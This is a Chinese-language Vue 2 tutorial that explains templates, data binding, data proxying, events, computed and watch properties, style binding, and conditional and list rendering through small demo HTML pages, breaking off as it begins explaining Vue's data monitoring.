Vue2.0+Vue3.0
1. vue基础知识和原理
1.1 初识Vue
- 想让Vue工作,就必须创建一个Vue实例,且要传入一个配置对象
- demo容器里的代码依然符合html规范,只不过混入了一些特殊的Vue语法
- demo容器里的代码被称为【Vue模板】
- Vue实例和容器是一一对应的
- 真实开发中只有一个Vue实例,并且会配合着组件一起使用
- {xxx}}是Vue的语法:插值表达式,{{xxx}}可以读取到data中的所有属性
- 一旦data中的数据发生改变,那么页面中用到该数据的地方也会自动更新(Vue实现的响应式)
1 <!DOCTYPE html> 2 <html lang="en"> 3 <head> 4 <meta charset="UTF-8"> 5 <meta http-equiv="X-UA-Compatible" content="IE=edge"> 6 <meta name="viewport" content="width=device-width, initial-scale=1.0"> 7 <title>初识Vue</title> 8 <!-- 引入vue --> 9 <script type="text/javascript" src="../js/vue.js"></script> 10 </head> 11 <body> 12 <div id="root"> 13 <h1>hello,{{name.toUpperCase()}},{{address}}</h1> 14 </div> 15 <script type="text/javascript"> 16 Vue.config.productionTip = false;//阻止vue在启动时生成生产提示 17 //创建Vue实例 18 new Vue({ 19 el:'#root',//el用于指定当前Vue实例为那个容器服务,值通常为css选择器字符串 20 data:{ //data用于存储数据,供el所指定容器使用 21 name:'zhangsan', 22 address:'北京' 23 } 24 }); 25 </script> 26 </body> 27 </html>
1.2模板语法
Vue模板语法有2大类:
插值语法:
功能:用于解析标签体内容
写法:{{xxx}},xxx是js表达式,且可以直接读取到data中的所有属性
指令语法:
功能:用于解析标签(包括:标签属性、标签体内容、绑定事件…)
举例:v-bind:href=“xxx” 或 简写为 :href=“xxx”,xxx同样要写js表达式,且可以直接读取到data中的所有属性
1 <!DOCTYPE html> 2 <html lang="en"> 3 <head> 4 <meta charset="UTF-8"> 5 <meta http-equiv="X-UA-Compatible" content="IE=edge"> 6 <meta name="viewport" content="width=device-width, initial-scale=1.0"> 7 <title>模板语法</title> 8 <!-- 引入vue --> 9 <script type="text/javascript" src="../js/vue.js"></script> 10 </head> 11 <body> 12 <div id="root"> 13 <h1>插值语法</h1> 14 <h2>你好,{{name}}</h2> 15 <hr/> 16 <h1>指令语法</h1> 17 <a v-bind:href="url">去百度</a> 18 <!-- v-bind可以简写为 : --> 19 <a :href="school.url">去{{school.name}}</a> 20 </div> 21 <script type="text/javascript"> 22 Vue.config.productionTip = false;//阻止vue在启动时生成生产提示 23 new Vue({ 24 el:'#root', 25 data:{ 26 name:'李四', 27 url:'http://www.baidu.com', 28 school:{ 29 name:'百度', 30 url:'http://www.baidu.com' 31 } 32 }, 33 34 }) 35 </script> 36 37 </body> 38 </html>
1.3数据绑定
Vue中有2种数据绑定的方式:
单向绑定(v-bind):数据只能从data流向页面
双向绑定(v-model):数据不仅能从data流向页面,还可以从页面流向data
tips:
1.双向绑定一般都应用在表单类元素上(如:input、select等)
2.v-model:value 可以简写为 v-model,因为v-model默认收集的就是value值
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>数据绑定</title> <script src="../js/vue.js"></script> </head> <body> <div id="root"> 单向数据绑定:<input type="text" v-bind:value="name"><br/> 单向数据绑定:<input type="text" v-model:value="name"><br/> <!-- 简写 --> 单向数据绑定:<input type="text" :value="name"><br/> 单向数据绑定:<input type="text" v-model="name"><br/> </div> <script> Vue.config.productionTip = false;//阻止vue在启动时生成生产提示 new Vue({ el:'#root', data:{ name:'小马哥' }, }) </script> </body> </html>
1.4 el与data的两种写法
el有2种写法
-
new Vue时候配置el属性
-
先创建Vue实例,随后再通过vm.$mount(’#root’)指定el的值
data有2种写法
-
对象式
-
函数式
data有2种写法
-
对象式
-
函数式
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>el与data的两种写法</title> <script src="../js/vue.js"></script> </head> <body> <div id="root"> <h1>你好,{{name}}</h1> </div> <script> Vue.config.productionTip = false;//阻止vue在启动时生成生产提示 const v=new Vue({ //el:'#root',//第一种写法 //data的第一种写法 // data:{ // name:'小马哥' // }, data() { return { name:'小马哥' } }, }) console.log(v) v.$mount('#root')//第二种写法 </script> </body> </html>
在组件中,data必须使用函数式
1.5 Vue中的MVVM
- M:模型(Model) :data中的数据
- V:视图(View) :模板代码
- VM:视图模型(ViewModel):Vue实例
1.6 数据代理
Object.defineProperty(obj, prop, descriptor)
obj:要定义属性的对象。
prop:要定义或修改的属性的名称
descriptor:要定义或修改的属性描述符
1 <!DOCTYPE html> 2 <html lang="en"> 3 <head> 4 <meta charset="UTF-8"> 5 <meta http-equiv="X-UA-Compatible" content="IE=edge"> 6 <meta name="viewport" content="width=device-width, initial-scale=1.0"> 7 <title>1.object.defineProperty方法</title> 8 </head> 9 <body> 10 <script type="text/javascript"> 11 let number=18 12 let person ={ 13 name:'小马哥', 14 sex:'男', 15 //age:12 16 } 17 18 Object.defineProperty(person,'age',{ 19 // value:10, 20 // enumberable:true,//控制属性是否可以枚举 21 // writable:true,//控制属性是否可以被修改 22 // configurable:true,//控制属性是否可以被删除 23 24 get(){ 25 console.log('已读取') 26 return number 27 }, 28 29 set(value){ 30 console.log('已修改') 31 number=value 32 33 } 34 }) 35 </script> 36 </body> 37 </html>
数据代理:通过一个对象代理对另一个对象中属性的操作(读/写)
简单例子:
1 <!DOCTYPE html> 2 <html lang="en"> 3 <head> 4 <meta charset="UTF-8"> 5 <meta http-equiv="X-UA-Compatible" content="IE=edge"> 6 <meta name="viewport" content="width=device-width, initial-scale=1.0"> 7 <title>简单数据代理例子</title> 8 </head> 9 <body> 10 <script> 11 let obj1={x:100} 12 let obj2={y:200} 13 14 Object.defineProperty(obj2,'x',{ 15 get(){ 16 return obj1.x 17 }, 18 set(value){ 19 obj1.x=value 20 } 21 }) 22 </script> 23 </body> 24 </html>
接下来介绍Vue中的数据代理
Vue中的数据代理:通过vm对象来代理data对象中属性的操作(读/写)
Vue中数据代理的好处:更加方便的操作data中的数据
基本原理:
通过Object.defineProperty()把data对象中所有属性添加到vm上。
为每一个添加到vm上的属性,都指定一个getter/setter。
在getter/setter内部去操作(读/写)data中对应的属性。
1 <!DOCTYPE html> 2 <html lang="en"> 3 <head> 4 <meta charset="UTF-8"> 5 <meta http-equiv="X-UA-Compatible" content="IE=edge"> 6 <meta name="viewport" content="width=device-width, initial-scale=1.0"> 7 <title>Vue中的数据代理</title> 8 <script src="../js/vue.js"></script> 9 </head> 10 <body> 11 <div id="root"> 12 <h1>学校名称:{{name}}</h1> 13 <h1>学校地址:{{address}}</h1> 14 </div> 15 <script> 16 Vue.config.productionTip = false;//阻止vue在启动时生成生产提示 17 const vm=new Vue({ 18 el:'#root', 19 data() { 20 return { 21 name:'小马', 22 address:'天堂' 23 } 24 }, 25 }) 26 </script> 27 </body> 28 </html>

1.7 事件处理
事件的基本使用:
- 使用v-on:xxx 或 @xxx 绑定事件,其中xxx是事件名
- 事件的回调需要配置在methods对象中,最终会在vm上
- methods中配置的函数,都是被Vue所管理的函数,this的指向是vm 或 组件实例对象
1 <!DOCTYPE html> 2 <html lang="en"> 3 <head> 4 <meta charset="UTF-8"> 5 <meta http-equiv="X-UA-Compatible" content="IE=edge"> 6 <meta name="viewport" content="width=device-width, initial-scale=1.0"> 7 <title>事件的基本使用</title> 8 <script src="../js/vue.js"></script> 9 </head> 10 <body> 11 <div id="root"> 12 <h2>欢迎来到{{}}学习</h2> 13 <!-- 创建点击事件 --> 14 <!-- <button v-on:click="showInfo">点我提示信息</button> --> 15 <!-- v-on可简写为@ --> 16 <button @click="showInfo1">Message1(不传参)</button><br> 17 <button @click="showInfo2($event,66)">Message2(传参,用$event站位,不会丢失event)</button> 18 19 </div> 20 21 <script> 22 Vue.config.productionTip = false;//阻止vue在启动时生成生产提示 23 new Vue({ 24 el:'#root', 25 data:{ 26 name:'小马哥课堂' 27 }, 28 methods: { 29 showInfo1(event){ 30 //console.log(event.target.innerText)//获得点击标签 31 //console.log(this)//此处的this是vm 32 alert('同学你好') 33 }, 34 showInfo2(event,number){ 35 console.log(number) 36 } 37 }, 38 39 }) 40 </script> 41 </body> 42 </html>
Vue中的事件修饰符
- prevent:阻止默认事件(常用)
- stop:阻止事件冒泡(常用)
- once:事件只触发一次(常用)
1 <!DOCTYPE html> 2 <html lang="en"> 3 <head> 4 <meta charset="UTF-8"> 5 <meta http-equiv="X-UA-Compatible" content="IE=edge"> 6 <meta name="viewport" content="width=device-width, initial-scale=1.0"> 7 <title>事件修饰符</title> 8 <script src="../js/vue.js"></script> 9 <style> 10 *{ 11 margin-top: 20px; 12 } 13 .demo1{ 14 height: 50px; 15 background-color: aqua; 16 } 17 </style> 18 </head> 19 <body> 20 <div id="root"> 21 <h1>欢迎来到{{name}}学习</h1> 22 <!-- 阻止默认事件 --> 23 <a href="http://www.baidu.com" @click.prevent="showInfo">点我提示信息</a> 24 <!-- 阻止事件冒泡 --> 25 <div class="demo1" @click="showInfo"> 26 <button @click.stop="showInfo">点我提示信息</button> 27 </div> 28 <!-- 事件只触发一次 --> 29 <button @click.once="showInfo">点我提示信息</button> 30 </div> 31 <script> 32 Vue.config.productionTip = false;//阻止vue在启动时生成生产提示 33 new Vue({ 34 el:'#root', 35 data:{ 36 name:'小马哥课堂' 37 }, 38 methods: { 39 showInfo(event){ 40 alert('同学你好') 41 } 42 }, 43 }) 44 </script> 45 </body> 46 </html>
1.8 键盘事件
键盘事件语法糖:@keydown,@keyup
Vue中常用的按键别名:
- 回车 => enter
- 删除 => delete
- 退出 => esc
- 空格 => space
- 换行 => tab (特殊,必须配合keydown去使用)
1 <!DOCTYPE html> 2 <html lang="en"> 3 <head> 4 <meta charset="UTF-8"> 5 <meta http-equiv="X-UA-Compatible" content="IE=edge"> 6 <meta name="viewport" content="width=device-width, initial-scale=1.0"> 7 <title>键盘事件</title> 8 <script src="../js/vue.js"></script> 9 </head> 10 <body> 11 <div id="root"> 12 <h1>欢迎来到{{name}}学习</h1> 13 <input type="text" placeholder="按下回车提示输入" @keyup.enter="showInfo"> 14 </div> 15 16 <script> 17 Vue.config.productionTip = false;//阻止vue在启动时生成生产提示 18 new Vue({ 19 el:'#root', 20 data:{ 21 name:'杰马' 22 }, 23 methods: { 24 showInfo(e){ 25 console.log(e.target.value) 26 } 27 }, 28 }) 29 </script> 30 31 </body> 32 </html>
1.9 计算属性
姓名案例;
1 <!DOCTYPE html> 2 <html lang="en"> 3 <head> 4 <meta charset="UTF-8"> 5 <meta http-equiv="X-UA-Compatible" content="IE=edge"> 6 <meta name="viewport" content="width=device-width, initial-scale=1.0"> 7 <title>姓名案例——插值语法</title> 8 <script src="../js/vue.js"></script> 9 </head> 10 <body> 11 <div id="root"> 12 姓:<input type="text" v-model="firstName"><br><br> 13 名:<input type="text" v-model="lastName"><br><br> 14 全名:<span>{{firstName.slice(0,3)}}-{{lastName}}</span> 15 </div> 16 <script> 17 Vue.config.productionTip = false;//阻止vue在启动时生成生产提示 18 new Vue({ 19 el:'#root', 20 data:{ 21 firstName:'杰', 22 lastName:'马' 23 } 24 }) 25 </script> 26 </body> 27 </html>
1 <!DOCTYPE html> 2 <html lang="en"> 3 <head> 4 <meta charset="UTF-8"> 5 <meta http-equiv="X-UA-Compatible" content="IE=edge"> 6 <meta name="viewport" content="width=device-width, initial-scale=1.0"> 7 <title>姓名案例——methods方法</title> 8 <script src="../js/vue.js"></script> 9 </head> 10 <body> 11 <div id="root"> 12 姓:<input type="text" v-model="firstName"><br><br> 13 名:<input type="text" v-model="lastName"><br><br> 14 全名:<span>{{fullName()}}</span> 15 </div> 16 <script> 17 Vue.config.productionTip = false;//阻止vue在启动时生成生产提示 18 new Vue({ 19 el:'#root', 20 data:{ 21 firstName:'杰', 22 lastName:'马' 23 }, 24 methods: { 25 fullName(){ 26 return this.firstName +'-'+ this.lastName 27 } 28 }, 29 }) 30 </script> 31 </body> 32 </html>
定义:要用的属性不存在,要通过已有属性计算得来
原理:底层借助了Objcet.defineProperty方法提供的getter和setter
get函数什么时候执行?
(1).初次读取时会执行一次
(2).当依赖的数据发生改变时会被再次调用
优势:与methods实现相比,内部有缓存机制(复用),效率更高,调试方便
备注:
计算属性最终会出现在vm上,直接读取使用即可
如果计算属性要被修改,那必须写set函数去响应修改,且set中要引起计算时依赖的数据发生改变
1 <!DOCTYPE html> 2 <html lang="en"> 3 <head> 4 <meta charset="UTF-8"> 5 <meta http-equiv="X-UA-Compatible" content="IE=edge"> 6 <meta name="viewport" content="width=device-width, initial-scale=1.0"> 7 <title>姓名案例——计算属性实现</title> 8 <script src="../js/vue.js"></script> 9 </head> 10 <body> 11 <div id="root"> 12 姓:<input type="text" v-model="firstName"><br><br> 13 名:<input type="text" v-model="lastName"><br><br> 14 全名:<span>{{fullName}}</span> 15 </div> 16 <script> 17 Vue.config.productionTip = false;//阻止vue在启动时生成生产提示 18 new Vue({ 19 el:'#root', 20 data:{ 21 firstName:'杰', 22 lastName:'马' 23 }, 24 computed:{ 25 fullName:{ 26 //get有什么作用?当有人读取fullName时,get就会被调用,且返回值就作为fullName的值 27 //get什么时候调用?1.初次读取fullName时。2.所依赖的数据发生变化时。 28 get(){ 29 return this.firstName +'-'+ this.lastName 30 }, 31 //set什么时候调用? 当fullName被修改时。 32 //可以主动在控制台修改fullName来查看情况 33 set(value){ 34 console.log('set',value) 35 const arr = value.split('-') 36 this.firstName = arr[0] 37 this.lastName = arr[1] 38 } 39 } 40 } 41 }) 42 </script> 43 </body> 44 </html>
计算属性简写
1 <!DOCTYPE html> 2 <html lang="en"> 3 <head> 4 <meta charset="UTF-8"> 5 <meta http-equiv="X-UA-Compatible" content="IE=edge"> 6 <meta name="viewport" content="width=device-width, initial-scale=1.0"> 7 <title>姓名案例——计算属性实现</title> 8 <script src="../js/vue.js"></script> 9 </head> 10 <body> 11 <div id="root"> 12 姓:<input type="text" v-model="firstName"><br><br> 13 名:<input type="text" v-model="lastName"><br><br> 14 全名:<span>{{fullName}}</span> 15 </div> 16 <script> 17 Vue.config.productionTip = false;//阻止vue在启动时生成生产提示 18 new Vue({ 19 el:'#root', 20 data:{ 21 firstName:'杰', 22 lastName:'马' 23 }, 24 computed:{ 25 fullName(){ 26 return this.firstName +'-'+ this.lastName 27 } 28 } 29 }) 30 </script> 31 </body> 32 </html>
1.10 监视属性
天气案例
1 <!DOCTYPE html> 2 <html lang="en"> 3 <head> 4 <meta charset="UTF-8"> 5 <meta http-equiv="X-UA-Compatible" content="IE=edge"> 6 <meta name="viewport" content="width=device-width, initial-scale=1.0"> 7 <title>天气案例</title> 8 <script src="../js/vue.js"></script> 9 </head> 10 <body> 11 <div id="root"> 12 <h2>今天天气很{{info}}</h2> 13 <button @click="changeWeather">切换天气</button> 14 </div> 15 16 <script> 17 new Vue({ 18 el:'#root', 19 data:{ 20 isHot:true 21 }, 22 23 computed:{ 24 info(){ 25 return this.isHot ? '炎热' : '凉爽' 26 } 27 }, 28 methods: { 29 changeWeather(){ 30 this.isHot=!this.isHot 31 } 32 }, 33 }) 34 </script> 35 </body> 36 </html>
监视属性watch:
- 当被监视的属性变化时, 回调函数自动调用, 进行相关操作
- 监视的属性必须存在,才能进行监视
- 监视的两种写法:(1).new Vue时传入watch配置(2).通过vm.$watch监视
-
1 <!DOCTYPE html> 2 <html lang="en"> 3 <head> 4 <meta charset="UTF-8"> 5 <meta http-equiv="X-UA-Compatible" content="IE=edge"> 6 <meta name="viewport" content="width=device-width, initial-scale=1.0"> 7 <title>天气案例_监视属性</title> 8 <script src="../js/vue.js"></script> 9 </head> 10 <body> 11 <div id="root"> 12 <h2>今天天气很{{info}}</h2> 13 <button @click="changeWeather">切换天气</button> 14 </div> 15 16 <script> 17 new Vue({ 18 el:'#root', 19 data:{ 20 isHot:true 21 }, 22 23 computed:{ 24 info(){ 25 return this.isHot ? '炎热' : '凉爽' 26 } 27 }, 28 methods: { 29 changeWeather(){ 30 this.isHot=!this.isHot 31 } 32 }, 33 watch:{ 34 isHot:{ 35 handler(newValue,oldValue){ 36 console.log('isHot被修改了',newValue,oldValue) 37 } 38 } 39 } 40 }) 41 </script> 42 </body> 43 </html>
深度监视:
- (1).Vue中的watch默认不监测对象内部值的改变(一层)(2).配置deep:true可以监测对象内部值改变(多层)
备注:
(1).Vue自身可以监测对象内部值的改变,但Vue提供的watch默认不可以
(2).使用watch时根据数据的具体结构,决定是否采用深度监视
1 <!DOCTYPE html> 2 <html lang="en"> 3 <head> 4 <meta charset="UTF-8"> 5 <meta http-equiv="X-UA-Compatible" content="IE=edge"> 6 <meta name="viewport" content="width=device-width, initial-scale=1.0"> 7 <title>天气案例_深度监视</title> 8 <script src="../js/vue.js"></script> 9 </head> 10 <body> 11 <div id="root"> 12 <h2>今天天气很{{info}}</h2> 13 <button @click="changeWeather">切换天气</button> 14 <hr> 15 <h3>a的值是{{numbers.a}}</h3> 16 <button @click="adda">点击使a+1</button> 17 <h3>b的值是{{numbers.b}}</h3> 18 <button @click="addb">点击使b+1</button> 19 </div> 20 21 <script> 22 new Vue({ 23 el:'#root', 24 data:{ 25 isHot:true, 26 numbers:{ 27 a:1, 28 b:1 29 } 30 }, 31 32 computed:{ 33 info(){ 34 return this.isHot ? '炎热' : '凉爽' 35 } 36 }, 37 methods: { 38 changeWeather(){ 39 this.isHot=!this.isHot 40 }, 41 adda(){ 42 return this.numbers.a++ 43 }, 44 addb(){ 45 return this.numbers.b++ 46 } 47 }, 48 watch:{ 49 isHot:{ 50 handler(newValue,oldValue){ 51 console.log('isHot被修改了',newValue,oldValue) 52 } 53 }, 54 // //监视多级属性中某个属性的变化 55 // 'numbers.a':{ 56 // handler(){ 57 // console.log('a被改变了') 58 // } 59 // } 60 61 //监视多级属性中所有属性的变化 62 numbers:{ 63 deep:true,//开启深度监视 64 handler(){ 65 console.log('a被改变了') 66 } 67 } 68 } 69 }) 70 </script> 71 </body> 72 </html>
computed和watch之间的区别:
- computed能完成的功能,watch都可以完成
- watch能完成的功能,computed不一定能完成,例如:watch可以进行异步操作
两个重要的小原则:
1.所被Vue管理的函数,最好写成普通函数,这样this的指向才是vm 或 组件实例对象
2.所有不被Vue所管理的函数(定时器的回调函数、ajax的回调函数等、Promise的回调函数),最好写成箭头函数,这样this的指向才是vm 或 组件实例对象
1.11 绑定样式
class样式
写法::class=“xxx” xxx可以是字符串、对象、数。
所以分为三种写法,字符串写法,数组写法,对象写法
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>绑定样式</title> <script src="../js/vue.js"></script> <style> .basic{ width: 400px; height: 100px; border: 1px solid black; } .happy{ border: 4px solid red; background-color: rgba(255, 255, 0, 0.644); background: linear-gradient(30deg,yellow,pink,orange,yellow); } .sad{ border: 4px dashed rgb(2, 197, 2); background-color: gray; } .normal{ background-color: skyblue; } .atjiema1{ background-color: yellowgreen; } .atjiema2{ font-size: 30px; text-shadow: 2px 2px 10px red; } .atjiema3{ border-radius: 20px; } </style> </head> <body> <!-- 准备好一个容器--> <div id="root"> <!-- 绑定class样式--字符串写法,适用于:样式的类名不确定,需要动态指定 --> <div class="basic" :class="mood" @click="changeMood" >{{name}}</div><br><br> <!-- 绑定class样式--数组写法,适用于:要绑定的样式个数不确定,名字也不确定 --> <div class="basic" :class="arr" @click="changeMood2">{{name}}</div><br><br> <!-- 绑定class样式--对象写法,适用于:要绑定的样式个数确定,名字确定,但要动态决定用不用 --> <div class="basic" :class="classObj">{{name}}</div> </div> <script> const vm =new Vue({ el:'#root', data:{ name:'杰马', mood:'normal', arr:['atjiema1','atjiema2','atjiema3'], classObj:{ atjiema1:true, atjiema2:false } }, methods: { changeMood(){ //this.mood='happy' //随机生成 const arr=['happy','sad','normal'] const index=Math.floor(Math.random()*3) this.mood=arr[index] }, changeMood2(){ //this.mood='happy' //随机生成 const arr=['atjiema1','atjiema2','atjiema3'] const index=Math.floor(Math.random()*3) this.arr=arr[index] }, }, }) </script> </body> </html>
1.12 条件渲染
v-if
写法:
(1).v-if=“表达式”
(2).v-else-if=“表达式”
(3).v-else=“表达式”
适用于:切换频率较低的场景
特点:不展示的DOM元素直接被移除
注意:v-if可以和:v-else-if、v-else一起使用,但要求结构不能被“打断”
v-show
- 写法:v-show=“表达式”
- 适用于:切换频率较高的场景
- 特点:不展示的DOM元素未被移除,仅仅是使用样式隐藏掉(display:none)
备注:使用v-if的时,元素可能无法获取到,而使用v-show一定可以获取到
v-if 是实打实地改变dom元素,v-show 是隐藏或显示dom元素
1 <!DOCTYPE html> 2 <html lang="en"> 3 <head> 4 <meta charset="UTF-8"> 5 <meta http-equiv="X-UA-Compatible" content="IE=edge"> 6 <meta name="viewport" content="width=device-width, initial-scale=1.0"> 7 <title>Document</title> 8 <script src="../js/vue.js"></script> 9 </head> 10 <body> 11 <div id="root"> 12 <!-- 使用v-show做条件渲染 --> 13 <!-- <h2 v-show="false">欢迎来到{{name}}</h2> --> 14 <!-- <h2 v-show="1 === 2">欢迎来到{{name}}</h2> --> 15 16 <!-- 使用v-if做条件渲染 --> 17 <!-- <h2 v-if="false">欢迎来到{{name}}</h2> --> 18 19 <h2>当前n的值是{{n}}</h2> 20 <button @click="add()">点击后n+1</button> 21 22 <!-- <div v-show="n===1">Angular</div> 23 <div v-show="n===2">React</div> 24 <div v-show="n===3">Vue</div> --> 25 26 <!-- 使用v-if做条件渲染 --> 27 <!-- <div v-if="n===1">Angular</div> 28 <div v-if="n===2">React</div> 29 <div v-if="n===3">Vue</div> --> 30 31 <div v-if="n===1">Angular</div> 32 <div v-else-if="n===2">React</div> 33 <div v-else-if="n===3">Vue</div> 34 <div v-else>哈哈,学完了</div> 35 </div> 36 37 <script> 38 const vm= new Vue({ 39 el:'#root', 40 data:{ 41 name:'杰马集团', 42 //a:false 43 n:0 44 }, 45 methods: { 46 add(){ 47 return this.n++ 48 } 49 }, 50 }) 51 </script> 52 53 </body> 54 </html>
1.13 列表渲染
v-for指令
- 用于展示列表数据
- 语法:v-for="(item, index) in xxx" :key=“yyy”
- 可遍历:数组、对象、字符串(用的很少)、指定次数(用的很少)
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>基本列表</title> <script src="../js/vue.js"></script> </head> <body> <div id="root"> <h2>人员列表</h2> <ul> <li v-for="p in persons" :key="p.id"> {{p.name}}-{{p.age}} </li> </ul> <h2>汽车信息</h2> <ul> <li v-for="(value,k) of car" :key="k"> {{k}}-{{value}} </li> </ul> <h2>测试遍历字符串</h2> <ul> <li v-for="(char,index) of str" :key="index"> {{char}}-{{index}} </li> </ul> </div> <script> new Vue({ el:'#root', data:{ persons:[ {id:'001',name:'张三',age:'18'}, {id:'002',name:'李四',age:'19'}, {id:'003',name:'王五',age:'20'} ], car:{ name:'特斯拉', price:'50W', color:'黑色' }, str:'hello' }, }) </script> </body> </html>
key的原理
虚拟DOM中key的作用
key是虚拟DOM对象的标识,当数据发生变化时,Vue会根据【新数据】生成【新的虚拟DOM】, 随后Vue进行【新虚拟DOM】与【旧虚拟DOM】的差异比较,比较规则如下:
旧虚拟DOM中找到了与新虚拟DOM相同的key:
①.若虚拟DOM中内容没变, 直接使用之前的真实DOM!
②.若虚拟DOM中内容变了, 则生成新的真实DOM,随后替换掉页面中之前的真实DOM。
旧虚拟DOM中未找到与新虚拟DOM相同的key
创建新的真实DOM,随后渲染到到页面。
用index作为key可能会引发的问题:
若对数据进行:逆序添加、逆序删除等破坏顺序操作:
会产生没有必要的真实DOM更新 ==> 界面效果没问题, 但效率低
结论:
- 最好使用每条数据的唯一标识作为key, 比如id、手机号、身份证号、学号等唯一值
- 如果不存在对数据的逆序添加、逆序删除等破坏顺序操作,仅用于渲染列表用于展示,使用index作为key是没有问题的
列表过滤
1 <!DOCTYPE html> 2 <html lang="en"> 3 <head> 4 <meta charset="UTF-8"> 5 <meta http-equiv="X-UA-Compatible" content="IE=edge"> 6 <meta name="viewport" content="width=device-width, initial-scale=1.0"> 7 <title>列表过滤</title> 8 <script src="../js/vue.js"></script> 9 </head> 10 <body> 11 <div id="root"> 12 <h2>人员列表</h2> 13 <input type="text" placeholder="请输入名字" v-model="keyWorld"> 14 <ul> 15 <li v-for="(p,index) in filPersons" :key="p.id"> 16 {{p.name}}-{{p.age}}-{{p.sex}} 17 </li> 18 </ul> 19 </div> 20 21 <script> 22 //用watch实现 23 //#region 24 // new Vue({ 25 // el:'#root', 26 // data:{ 27 // keyWorld:'', 28 // persons:[ 29 // {id:'001',name:'马冬梅',age:'18',sex:'女'}, 30 // {id:'002',name:'周冬雨',age:'19',sex:'女'}, 31 // {id:'003',name:'周杰伦',age:'20',sex:'男'}, 32 // {id:'003',name:'温兆伦',age:'21',sex:'男'} 33 // ], 34 // filPersons:[]//存放过滤出来的数据 35 // }, 36 37 // watch:{ 38 // keyWorld:{ 39 // immediate:true, 40 // handler(val){ 41 // this.filPersons = this.persons.filter((p)=>{ //filter过滤 42 // return p.name.indexOf(val) != -1 //indexOf判断是否包含 43 // }) 44 // } 45 46 // } 47 // } 48 // }) 49 // 50 //#endregion 51 52 //用computed实现 53 new Vue({ 54 el:'#root', 55 data:{ 56 keyWorld:'', 57 persons:[ 58 {id:'001',name:'马冬梅',age:'18',sex:'女'}, 59 {id:'002',name:'周冬雨',age:'19',sex:'女'}, 60 {id:'003',name:'周杰伦',age:'20',sex:'男'}, 61 {id:'003',name:'温兆伦',age:'21',sex:'男'} 62 ], 63 }, 64 65 computed:{ 66 filPersons(){ 67 return this.filPersons=this.persons.filter((p)=>{ 68 return p.name.indexOf(this.keyWorld) !== -1 69 }) 70 } 71 } 72 }) 73 </script> 74 </body> 75 </html>
列表排序
1 <!DOCTYPE html> 2 <html lang="en"> 3 <head> 4 <meta charset="UTF-8"> 5 <meta http-equiv="X-UA-Compatible" content="IE=edge"> 6 <meta name="viewport" content="width=device-width, initial-scale=1.0"> 7 <title>列表过滤</title> 8 <script src="../js/vue.js"></script> 9 </head> 10 <body> 11 <div id="root"> 12 <h2>人员列表</h2> 13 <input type="text" placeholder="请输入名字" v-model="keyWorld"> 14 <button @click="sortType=1">按年龄降序</button> 15 <button @click="sortType=2">按年龄升序</button> 16 <button @click="sortType=0">原顺序</button> 17 <ul> 18 <li v-for="(p,index) in filPersons" :key="p.id"> 19 {{p.name}}-{{p.age}}-{{p.sex}} 20 </li> 21 </ul> 22 </div> 23 24 <script> 25 //用computed实现 26 new Vue({ 27 el:'#root', 28 data:{ 29 keyWorld:'', 30 sortType:0,//0原顺序 1降序 2升序 31 persons:[ 32 {id:'001',name:'马冬梅',age:'18',sex:'女'}, 33 {id:'002',name:'周冬雨',age:'31',sex:'女'}, 34 {id:'003',name:'周杰伦',age:'6',sex:'男'}, 35 {id:'003',name:'温兆伦',age:'40',sex:'男'} 36 ], 37 }, 38 39 computed:{ 40 filPersons(){ 41 const arr= this.filPersons=this.persons.filter((p)=>{ 42 return p.name.indexOf(this.keyWorld) !== -1 43 }) 44 if(this.sortType){ 45 arr.sort((p1,p2)=>{ 46 return this.sortType === 1 ? p2.age-p1.age : p1.age-p2.age 47 }) 48 } 49 return arr 50 } 51 } 52 }) 53 </script> 54 </body> 55 </html>
1.14 vue 监测data 中的 数据
先来个案例引入一下:
1 <!DOCTYPE html> 2 <html lang="en"> 3 <head> 4 <meta charset="UTF-8"> 5 <meta http-equiv="X-UA-Compatible" content="IE=edge"> 6 <meta name="viewport" content="width=device-width, initial-scale=1.0"> 7 <title>数据更新时的问题</title> 8 <script src="../js/vue.js"></script> 9 </head> 10 <body> 11 <div id="root"> 12 <h2>人员列表</h2> 13 <button @click="updatema">点我更新信息</button> 14 <ul> 15 <li v-for="(p,index) in persons" :key="p.id"> 16 {{p.name}}-{{p.age}}-{{p.sex}} 17 </li> 18 </ul> 19 </div> 20 21 <script> 22 //用computed实现 23 new Vue({ 24 el:'#root', 25 data:{ 26 persons:[ 27 {id:'001',name:'马冬梅',age:'18',sex:'女'}, 28 {id:'002',name:'周冬雨',age:'31',sex:'女'}, 29 {id:'003',name:'周杰伦',age:'6',sex:'男'}, 30 {id:'003',name:'温兆伦',age:'40',sex:'男'} 31 ], 32 }, 33 methods: { 34 updatema(){ 35 // this.persons[0].name='马老师'//奏效 36 // this.persons[0].age=50//奏效 37 // this.persons[0].sex='男'//奏效 38 this.persons[0]={id:'001',name:'马老师',age:'50',sex:'男'}//不奏效 39 } 40 }, 41 42 }) 43 </script> 44 </body> 45 </html>
点击更新马冬梅的信息,马冬梅的数据并没有发生改变。
我们来看看控制台:

控制台上的数据发生了改变,说明,这个更改的数据并没有被 vue 监测到。
所以我们来研究一下 Vue 监测的原理。
我们先研究 Vue 如何监测 对象里的数据
